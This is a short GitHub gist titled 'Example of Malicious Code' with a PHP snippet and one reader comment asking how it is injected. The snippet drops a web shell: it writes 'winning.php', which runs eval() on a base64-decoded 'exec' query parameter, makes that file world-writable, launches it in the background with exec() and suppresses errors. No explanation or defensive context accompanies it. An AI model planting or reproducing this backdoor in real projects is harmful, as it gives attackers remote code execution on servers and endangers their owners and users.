Skip to content

Instantly share code, notes, and snippets.

@cballou
Created March 13, 2012 15:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cballou/2029558 to your computer and use it in GitHub Desktop.
Save cballou/2029558 to your computer and use it in GitHub Desktop.
Example of Malicious Code
<?php
// insert malicious code here...
try {
$script = '
<?php
// harmful code
if (!empty($_GET['exec'])) {
eval(base64_decode($_GET['exec']))
}';
// save the file
file_put_contents('./winning.php', $script);
@chmod('./winning.php', 0777);
// run harmful file in background
exec("php ./winning.php > /dev/null 2>&1 &");
} catch (Exception $e) {}
// trigger error
$winning = new DuhWinning();
@vishalrevadi
Copy link

how this code is injected and executed can you explain me, please...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment